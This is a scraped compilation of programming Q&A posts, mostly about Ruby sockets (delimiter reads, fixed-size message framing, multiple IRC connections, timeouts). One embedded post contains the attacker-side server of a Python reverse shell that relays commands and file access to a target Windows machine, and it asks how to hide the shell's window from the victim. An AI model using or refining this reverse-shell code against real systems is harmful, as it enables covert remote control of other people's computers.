or is there anyway to get this function working in ruby socket programming:
conn = pwn.remote('localhost', 4567)
conn.recvuntil("> ")
With native Ruby socket module, socket.read(bytes) will wait until it receives exact number of bytes, which i cannot decide apriori. And, socket.recv(bytes), will print as soon as it gets some data, regardless of message being complete.
Since, I do know the message format and its ending, it would be easy, if there was a gem as mentioned above or any way to get the functionality in Ruby.
For eg, if i know the message from the server ends with colon,
socket = Socket.new( AF_INET, SOCK_STREAM, 0 )
sockaddr = Socket.pack_sockaddr_in(port, hostname)
socket.connect( sockaddr )
socket.recvuntil ": "
# do something
socket.send "y"
require 'socket'
def read_until(socket, re)
accu = ''
re = Regexp.escape(re) if String === re
re = /#{re}\Z/
socket.each_char do |c|
accu << c
return accu if re === accu
end
return accu
end
socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0 )
sockaddr = Socket.pack_sockaddr_in(80, 'www.google.com')
socket.connect(sockaddr)
socket.write "GET / HTTP/1.0\n\n"
headers = read_until(socket, /\r\n\r\n/)
body = socket.read
puts "HEADERS:\n#{headers}BODY:\n#{body}"
Related
I'm using this simple python reverse shell.
When this runs, a command window pops up on the target Windows system. Is there a way to hide it?
import socket
BUFFER_SIZE = 1024
attacker_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# lets the attacker server listen on the specified port number
def attacker_server_binder(hostname, port_number):
attacker_server.bind((hostname, port_number))
attacker_server.listen(5)
# listening for connections
def target_client_connection_receiver():
while True:
# receive connection from target client
target_client, target_client_address = attacker_server.accept()
if(target_client != None):
break
print("Connection established to target\n $reverse_shell: ", end="")
return target_client
# connects to the client being targeted
def send_data(data, target_client):
target_client.send(bytes(data, 'utf-8'))
acknowledgement = target_client.recv(BUFFER_SIZE)
if(acknowledgement == b'ACK'):
# print("Data received at target end")
receive_data(target_client)
else:
print("Acknowledgement receipt not received.\n$reverse_shell: ", end = "")
def receive_data(target_client):
response = ""
while True:
received_data = target_client.recv(BUFFER_SIZE)
received_data = received_data.decode('utf-8')
response = response + received_data
if(len(received_data) < BUFFER_SIZE):
break
print(response + "\n$reverse_shell: ", end= "")
def command_handler(target_client):
data = str(input())
try:
data.index('file')
file_handler(target_client, data)
return
except:
pass
send_data(data, target_client)
def file_handler(target_client, command):
target_client.send(bytes(command, 'utf-8'))
acknowledgement = target_client.recv(BUFFER_SIZE)
if(acknowledgement == b'ACK'):
pass
data_splits = command.split(' ')
mode = data_splits[2]
if(mode == 'r'):
receive_data(target_client)
elif(mode == 'w' or mode == 'a'):
print("enter FILE_UPDATE_QUIT to end data transfer")
while True:
data = str(input("--> "))
target_client.send(bytes(data, 'utf-8'))
if(data == 'FILE_UPDATE_QUIT'):
break
receive_data(target_client)
def main():
attacker_server_binder("192.168.29.15", 1234)
# receive connection from target client
target_client = target_client_connection_receiver()
while True:
command_handler(target_client)
main()
I'm working with an AVL (Skypatrol TT8750+) and the messages that it sends (using TCP) are supposed to be 59bytes long but it always sends a first message (the message has some information about the AVL, so the user can identify it) of 33bytes.
So the question is, How can I handle those different size messages on ruby?
require 'socket'
portnumber = 12050
socketServer = TCPServer.open(portnumber)
while true
Thread.new(socketServer.accept) do |connection|
puts "Accepting connection from: #{connection.peeraddr[2]}"
t = Time.now.strftime("%d-%m-%Y %H%M")
file_name = t + '.txt'
out_file = File.new(file_name, "w+")
begin
while connection
incomingData = connection.gets()
if incomingData != nil
incomingData = incomingData
end
hex_line = incomingData.unpack('H*')[0]
out_file.puts(hex_line)
puts "Incoming: #{hex_line}"
end
rescue Exception => e
# Displays Error Message
puts "#{ e } (#{ e.class })"
ensure
connection.close
puts "ensure: Closing"
end
end
end
This is the experimental code that I'm using.
I'm posting this answer to explain a comment I made to Anderson's answer. Most of the code isn't mine.
moving the if out of the loop
When the if statement is within a loop, it will be evaluated each and every time the loop runs, increasing the number of CPU instructions and the complexity of each loop.
You could improve performance by moving the conditional statement out of the loop like so:
require 'socket'
require 'celluloid/io'
portnumber = 12050
socketServer = TCPServer.open(portnumber)
incomingData = nil
while true
Thread.new(socketServer.accept) do |connection|
puts "Accepting connection from: #{connection.peeraddr[2]}"
# this should probably be changed,
# it ignores the possibility of two connections arriving at the same timestamp.
t = Time.now.strftime("%d-%m-%Y %H%M")
file_name = t + '.txt'
out_file = File.new(file_name, "w+")
begin
if connection
incomingData = conection.recv(33)
if incomingData != nil
incomingData = incomingData.unpack('H*')[0]
out_file.puts(incomingData)
puts "Incoming: #{incomingData}"
end
end
while connection
incomingData = connection.recv(59)
if incomingData != nil
incomingData = incomingData.unpack('H*')[0]
out_file.puts(incomingData)
puts "Incoming: #{incomingData}"
end
end
rescue Exception => e
# Displays Error Message
puts "#{ e } (#{ e.class })"
ensure
connection.close
out_file.close
puts "ensure: Closing"
end
end
end
Optimizing the recv method
Another optimization I should probably mention (but won't implement here) would be the recv method call.
This is both an optimization and a possible source for errors that should be addressed.
recv is a system call and as network messages might be combined (or fragmented) across TCP/IP packets, it might become more expensive to call recv than to handle an internal buffer of data that resolved fragmentation and overflow states.
Reconsidering the thread-per-client design
I would also recommend avoiding the thread-per client design.
In general, for a small number of clients it probably doesn't matter much.
However, as clients multiply and threads become busier, you might find the system spends more resources on context switches than actual tasks.
Another concern might be the allocated stack each thread requires (1Mb or 2Mb for Ruby threads, if I remember correctly)... In a best case scenario, 1,000 clients will require more than a GigaByte of memory allocation just for the stack (I'm ignoring kernel structure data table and other resources).
I would consider using EventMachine or Iodine (I'm iodine's author, so I'm biased).
An evented design could save you many resources.
For example (untested):
require 'iodine'
# define the protocol for our service
class ExampleProtocol
#timeout = 10
def on_open
puts "New Connection Accepted."
# this should probably be changed,
# it ignores the possibility of two connections arriving at the same timestamp.
t = Time.now.strftime("%d-%m-%Y %H%M")
file_name = t + '.txt'
#out_file = File.new(file_name, "w+")
# a rolling buffer for fragmented messages
#expecting = 33
#msg = ""
end
def on_message buffer
length = buffer.length
pos = 0
while length >= #expecting
#msg << (buffer[pos, #expecting])
out_file.puts(msg.unpack('H*')[0])
length -= #expecting
pos += #expecting
#expecting = 59
#msg.clear
end
if(length > 0)
#msg << (buffer[pos, length])
#expecting = 59-length
end
end
def on_close
#out_file.close
end
end
# create the service instance
Iodine.listen 12050, ExampleProtocol
# start the service
Iodine.start
The solution was quite simple
require 'socket'
require 'celluloid/io'
portnumber = 12050
socketServer = TCPServer.open(portnumber)
while true
Thread.new(socketServer.accept) do |connection|
puts "Accepting connection from: #{connection.peeraddr[2]}"
t = Time.now.strftime("%d-%m-%Y %H%M")
file_name = t + '.txt'
out_file = File.new(file_name, "w+")
messagecounter = 1
begin
while connection
if messagecounter == 1
incomingData = conection.recv(33)
messagecounter += 1
else
incomingData = connection.recv(59)
end
if incomingData != nil
incomingData = incomingData.unpack('H*')[0]
end
out_file.puts(incomingData)
puts "Incoming: #{incomingData}"
end
rescue Exception => e
# Displays Error Message
puts "#{ e } (#{ e.class })"
ensure
connection.close
puts "ensure: Closing"
end
end
end
I just needed an extra variable and an if to auto increment the variable, and that's it.
I'm trying to make an IRC bot that connects to multiple servers, and I'm having trouble reading from all the sockets at once.
My current code:
#!/usr/bin/ruby
require 'socket'
servers = ["irc.chat4all.org"]
def connect(server, port, count)
puts "connecting to #{server}..."
#socket[count] = TCPSocket.open(server, port)
say("NICK link_hub", count)
say("USER link_hub 0 * link_hub", count)
read_data(count)
end
def say(msg, count)
#socket[count.to_i].puts msg.to_s
end
def say_channel(msg, count)
#socket[count.to_i].puts("PRIVMSG #test :"+msg.to_s)
end
def read_data(count)
until #socket[count].eof? do
msg = #socket[count].gets
puts msg
if msg.match(/^PING :(.*)$/)
say("PONG #{$~[1]}", count)
say("JOIN #test", count)
next
end
if msg.match(/`test/)
say_channel("connecting to efnet...", count)
Thread.new {
connect("irc.efnet.nl", 6667, count)
}
end
end
end
conn = []
count = 0
#socket = []
servers.each do |server|
connect(server, 6667, count)
count += 1
end
The problem is that when I send the command '`test', it connects to efnet, but it wont read the other socket anymore even though im running the new connection in a thread. I just want to read from both sockets at the same time. (the variable 'count' is the socket number)
Can anyone help me out? Much appreciated!
You need paralelism for that.
pids = []
servers.each do |server|
pids << fork do
connect(server, 6667, count)
count += 1
end
end
pids.each{|pid| Process.wait pid}
You might want to read about processes, threads and other operational system topics.
I'm using Celluloid IO to read from sockets. The incoming message has the following syntax
sometextsometextsometext
where
SOH = Hex 1
FS = Hex 1C
STX = Hex 2
ETX = Hex 3
EOT = Hex 4
My read code is something like this -
message = ""
begin
data = socket.readpartial(4096)
message << data
end until message =~ /not sure what goes here/
I'm looking for a reliable way to read from the socket until EOT. Once the message is read, i'll regex out the relevant sections.
Some guidance on detecting the above mentioned hex characters in socket read stream and in regex would be very helpful. Guidance?
And this does the trick for me thanks
def parse(message)
if message =~ /\001(.*)\01C(.*)\002(.*)\003\004/
return ($1,$2,$3)
end
end
def read_until_eot(socket)
eot_found = false
message = ''
begin
data = socket.read()
eot_found = !!data['\004']
message << data
end until eot_found
message.chomp!
end
def handle_connection(socket)
# read from socket until EOT
message = read_until_eot(socket) # <-- need help with
if (origin,target,payload) = parse(message) #message can be parsed
# process message
output_message = process(payload)
end
# write to socket
socket.write output_message
# close socket
socket.close
end
How do you set the timeout for blocking operations on a Ruby socket?
The solution I found which appears to work is to use Timeout::timeout:
require 'timeout'
...
begin
timeout(5) do
message, client_address = some_socket.recvfrom(1024)
end
rescue Timeout::Error
puts "Timed out!"
end
The timeout object is a good solution.
This is an example of asynchronous I/O (non-blocking in nature and occurs asynchronously to
the flow of the application.)
IO.select(read_array
[, write_array
[, error_array
[, timeout]]] ) => array or nil
Can be used to get the same effect.
require 'socket'
strmSock1 = TCPSocket::new( "www.dn.se", 80 )
strmSock2 = TCPSocket::new( "www.svd.se", 80 )
# Block until one or more events are received
#result = select( [strmSock1, strmSock2, STDIN], nil, nil )
timeout=5
timeout=100
result = select( [strmSock1, strmSock2], nil, nil,timeout )
puts result.inspect
if result
for inp in result[0]
if inp == strmSock1 then
# data avail on strmSock1
puts "data avail on strmSock1"
elsif inp == strmSock2 then
# data avail on strmSock2
puts "data avail on strmSock2"
elsif inp == STDIN
# data avail on STDIN
puts "data avail on STDIN"
end
end
end
I think the non blocking approach is the way to go.
I tried the mentioned above article and could still get it to hang.
this article non blocking networking and the jonke's approach above got me on the right path. My server was blocking on the initial connect so I needed it to be a little lower level.
the socket rdoc can give more details into the connect_nonblock
def self.open(host, port, timeout=10)
addr = Socket.getaddrinfo(host, nil)
sock = Socket.new(Socket.const_get(addr[0][0]), Socket::SOCK_STREAM, 0)
begin
sock.connect_nonblock(Socket.pack_sockaddr_in(port, addr[0][3]))
rescue Errno::EINPROGRESS
resp = IO.select([sock],nil, nil, timeout.to_i)
if resp.nil?
raise Errno::ECONNREFUSED
end
begin
sock.connect_nonblock(Socket.pack_sockaddr_in(port, addr[0][3]))
rescue Errno::EISCONN
end
end
sock
end
to get a good test. startup a simple socket server and then do a ctrl-z to background it
the IO.select is expecting data to come in on the input stream within 10 seconds. this may not work if that is not the case.
It should be a good replacement for the TCPSocket's open method.